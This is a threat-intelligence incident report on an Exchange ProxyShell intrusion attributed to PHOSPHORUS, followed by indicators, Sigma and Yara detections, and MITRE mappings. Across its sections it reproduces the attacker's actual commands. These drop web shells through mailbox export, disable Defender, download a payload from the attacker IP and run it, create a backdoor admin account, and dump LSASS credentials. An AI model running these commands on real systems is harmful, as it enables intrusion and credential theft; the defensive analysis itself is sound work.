PHOSPHORUS Automates Initial Access Using ProxyShell

In December 2021, we observed an adversary exploiting the Microsoft Exchange ProxyShell vulnerabilities to gain initial access and execute code via multiple web shells. The overlap of activities and tasks was remarkably similar to that observed in our previous report, “Exchange Exploit Leads to Domain Wide Ransomware“.

In this intrusion, we observed the initial exploitation of the ProxyShell vulnerabilities followed by some further post-exploitation activity, which included web shells, credential dumping, and specialized payloads. We assess that this activity was related to PHOSPHORUS (aka UNC2448, NemesisKitten, and DEV-0270) due to the TTP’s mirroring previously reported activity that was attributed to the group.

Case Summary

The threat actors activity occurred in two bursts within a 3 day time frame. As with our previous case, they started by uploading their web shell and disabling antivirus services.

Soon after, they established two persistence methods. The first was through scheduled tasks, and the second, was via a newly created account. The account was then added to the “remote desktop users” and “local administrators users” groups. Like in the prior case involving ProxyShell, we observed a file masquerading as dllhost.exe that exhibited similarities to a proxy tool call Fast Reverse Proxy (with modifications) downloaded from the same IP as observed in the prior case and connecting to suspect domains.

After establishing alternative ways of re-entering the targeted host, they enumerated the environment using Windows native programs such as net and ipconfig. At the end of their first visit, they disabled LSA protection, enabled WDigest for access to plain text credentials later, dumped the LSASS process memory, and downloaded the results via the web shell. 

All of this activity occurred over a time frame of around 2 minutes, leading us to assess that the entire attack was likely scripted out. The user agent strings of python-requests/2.26.0 and python-urllib3/1.26.7 also point to the use of scripts.

Two days later, we saw the threat actors reappear. We expected them to pick up where they left off, however, they repeated all previous actions. Due to the similarity between the commands and the sequential order they ran, this is additional evidence the threat actors employed automated scripts to execute these activities.

No further activity was observed as the threat actors were evicted from the network.

Services

We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BazarLoader, Covenant, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here.

We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services.

Timeline

Analysis and reporting completed by @samaritan_o, @kostastsale, @svch0st and @RoxpinTeddy.

Initial Access

As  similarly seen in our previous report Exchange Exploit Leads to Domain Wide Ransomware, this threat actor utilized the Microsoft Exchange ProxyShell vulnerabilities; an exploit chain of 3 different CVEs:

• CVE-2021-34473
• CVE-2021-34523
• CVE-2021-31207

With the appropriate PowerShell logging available we were able to recover the PowerShell commandlets executed on the Exchange server, which resulted in the creation of web shells on the host.

Once the threat actor had gained a valid privileged session using CVE-2021-34473 and CVE-2021-34523, they then ensured the default Administrator account had the correct role for mailbox importing and exporting:

New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "administrator@<REDACTED>"

The threat actor initiated a mailbox export that matched the search criteria of Subject -eq 'aspx_wkggiyvttmu' to a provided location with the .aspx extension. While the file created is a legitimate .pst file, in it contains plaintext web shell code that is rendered by IIS when requested.

New-MailboxExportRequest -Mailbox "administrator@<REDACTED>" -FilePath "\\localhost\C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_wkggiyvttmu.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_wkggiyvttmu'" 

In an attempt to hide the actions taken, the actor removes the request just created:

Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "77a883a7-470c-471c-a193-f4c54f263fde"

This activity then repeated approximately 2 days after the initial exploitation. As the actor had already achieved remote execution by this point, there is a high likelihood the exploitation of Exchange servers is automated. Below is the second web shell created that shares the same naming convention as the first.

New-MailboxExportRequest -Mailbox "administrator@<REDACTED>" -FilePath "\\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_dyukbdcxjfi.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_dyukbdcxjfi'"

Execution

Approximately 20 seconds after the web shell aspx_wkggiyvttmu.aspx was created, a flurry of POST requests were sent to the web shell.

The web shell followed a similar structure seen in previous cases. At least two parameters are sent in the POST request to the web shell, delimiter which defines what string is used to separate the response, and exec_code which is the command to be ran. The web shell had predefined functions for special actions:

• get – Get file from location on disk (additional dst POST parameter)
• put – Upload file to location (additional dst POST parameter)
• run – Execute a list of commands separated by “;” using PowerShell.

If exec_code does not start with one of the above commands, it will simply attempt to run it with PowerShell.

The environment for this investigation had SSL inspection and PCAPs available for analysis which allowed us to see the commands being sent to the web shell itself. Below you can see an example of commands that were sent and the outputs they returned in the response.

The actor first uploaded a file Wininet.xml, which is later used to create a scheduled task, to C:\windows\temp using the put command of the web shell. This was followed shortly by several commands to impair Windows Defender before downloading and executing a fake dllhost.exe from 148.251.71[.]182.

Scheduled Task Commands:

schtasks.exe /Create /F /XML C:\windows\temp\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet'

schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'

Defender Modification Command:

try {Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob; Set-MpPreference -SevereThreatDefaultAction Allow -AsJob; Set-MpPreference -DisableRealtimeMonitoring 1 -AsJob; Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}

Start-Process powershell.exe {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri 'hXXp://148.251.71[.]182/update[.]tmp' -OutFile $file} 

The schedule task runs a batch script called Wininet.bat which was also uploaded through the web shell. Wininet.bat simply loops through the execution of the file dllhost.exe.

The file dllhost.exe is a golang binary. When executed, the binary was observed resolving the following domains:

• api.myip[.]com (for discovery)
• tcp443.msupdate[.]us
• kcp53.msupdate[.]us

The binary also spawns the following commands when executed:

• cmd /c wmic computersystem get domain
• powershell /c Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders

The binary has a low confidence reference to FRP (FastReverseProxy) as the sample matches the closed source Yara rule – HKTL_PUA_FRP_FastReverseProxy_Oct21_1 (by Florian Roth) however it does not behave in the same way as the open source tool. This file also matches on an additional Yara rule more recently – APT_MAL_Go_FRP_CharmingKitten_Jan22_1 pointing to the file including some code from FRP but otherwise having been modified for use by this threat actor.

Persistence

The threat actor utilized both account creation and scheduled tasks to gain persistence in the environment.

New account creation

During the first activity, we observed the use of user.exe executable that ran the following PowerShell command:

powershell.exe /c net user /add DefaultAccount P@ssw0rd123412; net user DefaultAccount /active:yes; net user DefaultAccount P@ssw0rd12341234; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add DefaultAccount   

The first thing they did was make a new user named DefaultAccount with the password P@ssw0rd123412. They then activated the account and changed the password (P@ssw0rd12341234) for the second time. Finally the commands added the new account to the Administrators group and Remote Desktop Users group.

The threat actors ran the same command again two days later:

powershell.exe /c net user /add DefaultAccount P@ssw0rd123412; net user DefaultAccount /active:yes; net user DefaultAccount P@ssw0rd12341234; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add DefaultAccount 

Due to the close proximity between executed commands, we assess that the threat actors used tools to automate the execution and discovery phases of this attack.

Scheduled task

As previously noted, we discovered the creation of a Scheduled task from a .xml template that was copied to the server via the web shell.

Below, we can observe the content of wininet.xml:

The following commands where then ran to initiate the task and to achieve persistence:

schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet'

schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'

Privilege Escalation

The scheduled task created by the web shell was set to use the principal SID “S-1-5-18”, or SYSTEM.

<UserId>S-1-5-18</UserId>

Defense Evasion

Using PowerShell the threat actors issued several commands to impair Windows Defender including:

• Windows Defender Behavior Monitoring was disabled.
• The Severe Threat default action was set to ‘Allow’.
• Realtime Monitoring was disabled.
• The ‘C:\Windows’ path was excluded from scheduled and real-time scanning.

try {Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob; Set-MpPreference -SevereThreatDefaultAction Allow -AsJob; Set-MpPreference -DisableRealtimeMonitoring 1 -AsJob; Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}

A rule was added to the Windows Firewall to allow remote RDP traffic.

"netsh" advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389

Remote Desktop Services was started.

"net" start TermService

The threat actor enabled WDigest authentication. This enforces the storage of credentials in plaintext on future logins.

"reg" add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

LSA protection was disabled.

"reg" add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f

Credential Access

The threat actor created a process memory dump from LSASS.exe. In this case they created a “minidump” using the LOLBIN comsvcs.dll. This was dropped to disk as ssasl.pmd (lsass.dmp reversed) and then zipped before exfiltration.

"powershell.exe" /c Remove-Item -Path C:\windows\temp\ssasl.pmd -Force -ErrorAction Ignore; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\windows\temp\ssasl.pmd full | out-host; Compress-Archive  C:\windows\temp\ssasl.pmd  C:\windows\temp\ssasl.zip

Discovery

The threat actors used native Windows binaries to enumerate the exploited server in an automated fashion. They executed commands such as:

net.exe user

ipconfig.exe /all

powershell.exe (multiple commands)

quser.exe

These discovery tasks like the rest of the activity observed from this threat actor was executed via the web shell.

They used the PowerShell module Get-WmiObject to collect the name and IP address of the domain controller.

Get-WMIObject Win32_NTDomain | findstr DomainController

Additionally, we saw threat actors retrieving an email address from the compromised exchange server using the below command. This was likely done as a test. 

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"

Collection

While having access to the Exchange server, we observed no attempts to export or access user mailboxes.

Command and Control

As we saw from the execution section,dllhost.exe was used to access the below domains for C2, which we believe was using a variation of FRP.

• tcp443.msupdate[.]us (107.173.231[.]114)
• kcp53.msupdate[.]us 
• (107.173.231[.]114)

This C2 channel was not used very much as most activity was done through the web shell.

Exfiltration

The only successful data that was exfiltrated from the environment was the archive containing the LSASS dump.

Here you can see the threat actor using the web shell command to extract it: 

Impact

In this case, there was no further impact to the environment before the threat actors were evicted. Due to our previous report and OSINT research we believe with medium to high confidence that this intrusion would have ended in ransomware.

Indicators

All artifacts including web shells, files, IPs, etc. were added to our services in December.

Network

ipv4:148.251.71[.]182
ipv4:107.173.231[.]114
domain: tcp443.msupdate[.]us
domain: kcp53.msupdate[.]us
useragent:python-urllib3/1.26.7
useragent:python-requests/2.26.0

File

aspx_dyukbdcxjfi.aspx
1a5ad24a6880eea807078375d6461f58
da2470c3990ea0862a79149c6036388498da83cd
84f77fc4281ebf94ab4897a48aa5dd7092cc0b7c78235965637eeef0908fb6c7

dhvqx.aspx
b2fde6dc7bd1e04ce601f57805de415b
4d243969b54b9b80c1d26e0801a6e7e46d2ef03e
c5aae30675cc1fd83fd25330cec245af744b878a8f86626d98b8e7fcd3e970f8

dllhost.exe
9a3703f9c532ae2ec3025840fa449d4e
8ece87086e8b5aba0d1cc4ec3804bf74e0b45bee
1604e69d17c0f26182a3e3ff65694a49450aafd56a7e8b21697a932409dfd81e

wininet.bat
5f098b55f94f5a448ca28904a57c0e58
27102b416ef5df186bd8b35190c2a4cc4e2fbf37
668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0

wininet.xml
d2f4647a3749d30a35d5a8faff41765e
0f676bc786db3c44cac4d2d22070fb514b4cb64c
559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e

user.exe
f0be699c8aafc41b25a8fc0974cc4582
6bae2d45bbd8c4b0a59ba08892692fe86e596154
7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b

task_update.exe
cacb64bdf648444e66c82f5ce61caf4b
3a6431169073d61748829c31a9da29123dd61da8
12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075f

Detections

Network

ET INFO User-Agent (python-requests) Inbound to Webserver
ET INFO Generic HTTP EXE Upload Inbound
ET INFO Generic HTTP EXE Upload Outbound
GPL ATTACK_RESPONSE command completed
ET ATTACK_RESPONSE Net User Command Response
ET WEB_SERVER WebShell Generic - netsh firewall

Sigma

Custom rules

Exchange Webshell creation – https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/exchange_webshell_creation

DefaultAccount Usage – https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/defaultaccount_usage

SigmaHQ rules

Local Accounts Discovery – https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_local_system_owner_account_discovery.yml

Lsass Memory Dump via Comsvcs DLL – https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/rules/windows/process_access/sysmon_lsass_dump_comsvcs_dll.yml

Net.exe Execution – https://github.com/SigmaHQ/sigma/blob/777d218adc789b7f1b146701793e78799324d87d/rules/windows/process_creation/win_susp_net_execution.yml

Net-exe User Account Creation – https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_net_user_add.yml

Netsh Port or Application Allowed – https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_netsh_fw_add.yml

Netsh RDP Port Opening – https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_netsh_allow_port_rdp.yml

Non Interactive PowerShell – https://github.com/SigmaHQ/sigma/blob/1425ede905514b7dbf3c457561aaf2ff27274724/rules/windows/process_creation/win_non_interactive_powershell.yml

Powershell Defender Exclusion – https://github.com/SigmaHQ/sigma/blob/682e0458a336c3a6e93b18f7e972e1d67ef01598/rules/windows/process_creation/win_powershell_defender_exclusion.yml

PowerShell Get-Process LSASS – https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/rules/windows/process_creation/win_susp_powershell_getprocess_lsass.yml

Process Dump via Comsvcs DLL – https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_susp_comsvcs_procdump.yml

Quick Execution of a Series of Suspicious Commands – https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/rules/windows/process_creation/win_multiple_suspicious_cli.yml

Rare Scheduled Task Creations – https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/rules/windows/other/taskscheduler/win_rare_schtask_creation.yml

Service Execution – https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_service_execution.yml

Shells Spawned by Web Servers – https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_webshell_spawn.yml

Suspicious PowerShell Parent Process – https://github.com/SigmaHQ/sigma/blob/6f5271275e9ac22be9ded8b9252bce064e524153/rules/windows/process_creation/win_susp_powershell_parent_process.yml

Suspicious Script Execution From Temp Folder – https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/rules/windows/process_creation/win_susp_script_exec_from_temp.yml

Wdigest Enable UseLogonCredential – https://github.com/SigmaHQ/sigma/blob/503df469687fe4d14d2119a95723485d079ec0d9/rules/windows/registry_event/sysmon_wdigest_enable_uselogoncredential.yml

Webshell Detection With Command Line Keywords – https://github.com/SigmaHQ/sigma/blob/1cfca93354d25e458db40f8d48403602b46bbf03/rules/windows/process_creation/win_webshell_detection.yml

Windows Defender Real-Time Protection Disabled – https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/rules/windows/registry_event/registry_event_defender_realtime_protection_disabled.yml

Windows Defender Threat Detection Disabled – https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/rules/windows/registry_event/registry_event_defender_disabled.yml

Windows Shell Spawning Suspicious Program – https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_shell_spawn_susp_program.yml

Windows Suspicious Use Of Web Request in CommandLine – https://github.com/SigmaHQ/sigma/blob/98d7380a40d503ffd225420f7318b79d9f5097b8/rules/windows/process_creation/process_creation_susp_web_request_cmd.yml

Windows Webshell Creation – https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/file_event/sysmon_webshell_creation_detect.yml

Yara

rule files_dhvqx {
   meta:
      description = "9893_files - file dhvqx.aspx"
      author = "TheDFIRReport"
      reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/"
      date = "2022-03-21"
      hash1 = "c5aae30675cc1fd83fd25330cec245af744b878a8f86626d98b8e7fcd3e970f8"
   strings:
      $s1 = "eval(Request['exec_code'],'unsafe');Response.End;" fullword ascii
      $s2 = "6<script language='JScript' runat='server'>" fullword ascii
      $s3 = "AEALAAAAAAAAAAA" fullword ascii
      $s4 = "AFAVAJA" fullword ascii
      $s5 = "AAAAAAV" fullword ascii
      $s6 = "LAAAAAAA" fullword ascii
      $s7 = "ANAZAQA" fullword ascii
      $s8 = "ALAAAAA" fullword ascii
      $s9 = "AAAAAEA" ascii
      $s10 = "ALAHAUA" fullword ascii
   condition:
      uint16(0) == 0x4221 and filesize < 800KB and
      ($s1 and $s2)  and 4 of them
}


rule aspx_dyukbdcxjfi {
   meta:
      description = "9893_files - file aspx_dyukbdcxjfi.aspx"
      author = "TheDFIRReport"
      reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/"
      date = "2022-03-21"
      hash1 = "84f77fc4281ebf94ab4897a48aa5dd7092cc0b7c78235965637eeef0908fb6c7"
   strings:
      $s1 = "string[] commands = exec_code.Substring(\"run \".Length).Split(new[] { ';' }, StringSplitOptions.RemoveEmpty" ascii
      $s2 = "string[] commands = exec_code.Substring(\"run \".Length).Split(new[] { ';' }, StringSplitOptions.RemoveEmpty" ascii
      $s3 = "var dstFile = Path.Combine(dstDir, Path.GetFileName(httpPostedFile.FileName));" fullword ascii
      $s4 = "info.UseShellExecute = false;" fullword ascii
      $s5 = "using (StreamReader streamReader = process.StandardError)" fullword ascii
      $s6 = "return httpPostedFile.FileName + \" Uploaded to: \" + dstFile;" fullword ascii
      $s7 = "else if (exec_code.StartsWith(\"download \"))" fullword ascii
      $s8 = "string[] parts = exec_code.Substring(\"download \".Length).Split(' ');" fullword ascii
      $s9 = "Response.AppendHeader(\"Content-Disposition\", \"attachment; filename=\" + fileName);" fullword ascii
      $s10 = "result = result + Environment.NewLine + \"ERROR:\" + Environment.NewLine + error;" fullword ascii
      $s11 = "else if (exec_code == \"get\")" fullword ascii
      $s12 = "int fileLength = httpPostedFile.ContentLength;" fullword ascii
   condition:
      uint16(0) == 0x4221 and filesize < 800KB and
      8 of them
}


rule files_user {
   meta:
      description = "9893_files - file user.exe"
      author = "TheDFIRReport"
      reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/"
      date = "2022-03-21"
      hash1 = "7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b"
   strings:
      $x1 = "PA<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVer" ascii
      $s2 = "\", or \"requireAdministrator\" --> <v3:requestedExecutionLevel level=\"requireAdministrator\" /> </v3:requestedPrivileges> </v3" ascii
      $s3 = "-InitOnceExecuteOnce" fullword ascii
      $s4 = "0\"> <dependency> <dependentAssembly> <assemblyIdentity type=\"win32\" name=\"Microsoft.Windows.Common-Controls\" version=\"6.0." ascii
      $s5 = "s:v3=\"urn:schemas-microsoft-com:asm.v3\"> <v3:security> <v3:requestedPrivileges> <!-- level can be \"asInvoker\", \"highestAvai" ascii
      $s6 = "PB_GadgetStack_%I64i" fullword ascii
      $s7 = "PB_DropAccept" fullword ascii
      $s8 = "rocessorArchitecture=\"*\" publicKeyToken=\"6595b64144ccf1df\" language=\"*\" /> </dependentAssembly> </dependency> <v3:trustInf" ascii
      $s9 = "PB_PostEventMessage" fullword ascii
      $s10 = "PB_WindowID" fullword ascii
      $s11 = "?GetLongPathNameA" fullword ascii
      $s12 = "Memory page error" fullword ascii
      $s13 = "PPPPPPH" fullword ascii
      $s14 = "YZAXAYH" fullword ascii
      $s15 = "%d:%I64d:%I64d:%I64d" fullword ascii
      $s16 = "NGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDI" ascii
      $s17 = "PYZAXAYH" fullword ascii
      $s18 = "PB_MDI_Gadget" fullword ascii
      $s19 = "PA<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVer" ascii
      $s20 = " 46B722FD25E69870FA7711924BC5304D 787242D55F2C49A23F5D97710D972108 A2DB26CE3BBE7B2CB12F9BEFB37891A3" fullword wide
   condition:
      uint16(0) == 0x5a4d and filesize < 300KB and
      1 of ($x*) and 4 of them
}


rule task_update {
   meta:
      description = "9893_files - file task_update.exe"
      author = "TheDFIRReport"
      reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/"
      date = "2022-03-21"
      hash1 = "12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a"
   strings:
      $x1 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersi" ascii
      $s2 = " or \"requireAdministrator\" --> <v3:requestedExecutionLevel level=\"requireAdministrator\" /> </v3:requestedPrivileges> </v3:se" ascii
      $s3 = "-InitOnceExecuteOnce" fullword ascii
      $s4 = "> <dependency> <dependentAssembly> <assemblyIdentity type=\"win32\" name=\"Microsoft.Windows.Common-Controls\" version=\"6.0.0.0" ascii
      $s5 = "v3=\"urn:schemas-microsoft-com:asm.v3\"> <v3:security> <v3:requestedPrivileges> <!-- level can be \"asInvoker\", \"highestAvaila" ascii
      $s6 = "PB_GadgetStack_%I64i" fullword ascii
      $s7 = "PB_DropAccept" fullword ascii
      $s8 = "PB_PostEventMessage" fullword ascii
      $s9 = "PB_WindowID" fullword ascii
      $s10 = "?GetLongPathNameA" fullword ascii
      $s11 = "cessorArchitecture=\"*\" publicKeyToken=\"6595b64144ccf1df\" language=\"*\" /> </dependentAssembly> </dependency> <v3:trustInfo " ascii
      $s12 = "Memory page error" fullword ascii
      $s13 = "PPPPPPH" fullword ascii
      $s14 = "YZAXAYH" fullword ascii
      $s15 = "%d:%I64d:%I64d:%I64d" fullword ascii
      $s16 = "PYZAXAYH" fullword ascii
      $s17 = "PB_MDI_Gadget" fullword ascii
      $s18 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersi" ascii
      $s19 = " 11FCC18FB2B55FC3C988F6A76FCF8A2D 56D49E57AD1A051BF62C458CD6F3DEA9 6104990DFEA3DFAB044FAF960458DB09" fullword wide
      $s20 = "PostEventClass" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 300KB and
      1 of ($x*) and 4 of them
}


rule App_Web_vjloy3pa {
   meta:
      description = "9893_files - file App_Web_vjloy3pa.dll"
      author = "TheDFIRReport"
      reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/"
      date = "2022-03-21"
      hash1 = "faa315db522d8ce597ac0aa957bf5bde31d91de94e68d5aefac4e3e2c11aa970"
   strings:
      $x2 = "hSystem.ComponentModel.DataAnnotations, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" fullword ascii
      $s3 = "MSystem.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" fullword ascii
      $s4 = "RSystem.Xml.Linq, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" fullword ascii
      $s5 = "ZSystem.ServiceModel.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" fullword ascii
      $s6 = "YSystem.Web.DynamicData, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" fullword ascii
      $s7 = "XSystem.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" fullword ascii
      $s8 = "VSystem.Web.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
      $s9 = "MSystem.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
      $s10 = "WSystem.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
      $s11 = "`System.Data.DataSetExtensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" fullword ascii
      $s12 = "NSystem.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" fullword ascii
      $s13 = "ZSystem.WorkflowServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" fullword ascii
      $s14 = "WSystem.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" fullword ascii
      $s15 = "aSystem.ServiceModel.Activation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" fullword ascii
      $s16 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" wide /* base64 encoded string '' */
      $s17 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" wide /* base64 encoded string '' */
      $s18 = "aSystem.Web.ApplicationServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" fullword ascii
      $s19 = "\\System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
      $s20 = "SMicrosoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 2000KB and
      1 of ($x*) and 4 of them
}


rule _user_task_update_0 {
   meta:
      description = "9893_files - from files user.exe, task_update.exe"
      author = "TheDFIRReport"
      reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/"
      date = "2022-03-21"
      hash1 = "7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b"
      hash2 = "12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a"
   strings:
      $s1 = "-InitOnceExecuteOnce" fullword ascii
      $s2 = "PB_GadgetStack_%I64i" fullword ascii
      $s3 = "PB_DropAccept" fullword ascii
      $s4 = "PB_PostEventMessage" fullword ascii
      $s5 = "PB_WindowID" fullword ascii
      $s6 = "?GetLongPathNameA" fullword ascii
      $s7 = "Memory page error" fullword ascii
      $s8 = "PPPPPPH" fullword ascii
      $s9 = "YZAXAYH" fullword ascii
      $s10 = "%d:%I64d:%I64d:%I64d" fullword ascii
      $s11 = "PYZAXAYH" fullword ascii
      $s12 = "PB_MDI_Gadget" fullword ascii
      $s13 = "PostEventClass" fullword ascii
      $s14 = "t$hYZAXAYH" fullword ascii
      $s15 = "$YZAXAYH" fullword ascii
      $s16 = "Floating-point underflow (exponent too small)" fullword ascii
      $s17 = "Inexact floating-point result" fullword ascii
      $s18 = "Single step trap" fullword ascii
      $s19 = "Division by zero (floating-point)" fullword ascii
      $s20 = "tmHcI(H" fullword ascii
   condition:
      ( uint16(0) == 0x5a4d and filesize < 300KB and ( 8 of them )
      ) or ( all of them )
}

MITRE

• Exploit Public-Facing Application – T1190
• OS Credential Dumping – T1003
• Account Manipulation – T1098
• Valid Accounts – T1078
• Ingress Tool Transfer – T1105
• Match Legitimate Name or Location – T1036.005
• Windows Service – T1543.003
• Web Shell – T1505.003
• System Information Discovery – T1082
• System Network Configuration Discovery – T1016
• System Owner/User Discovery – T1033
• Windows Command Shell – T1059.003

Internal case #9893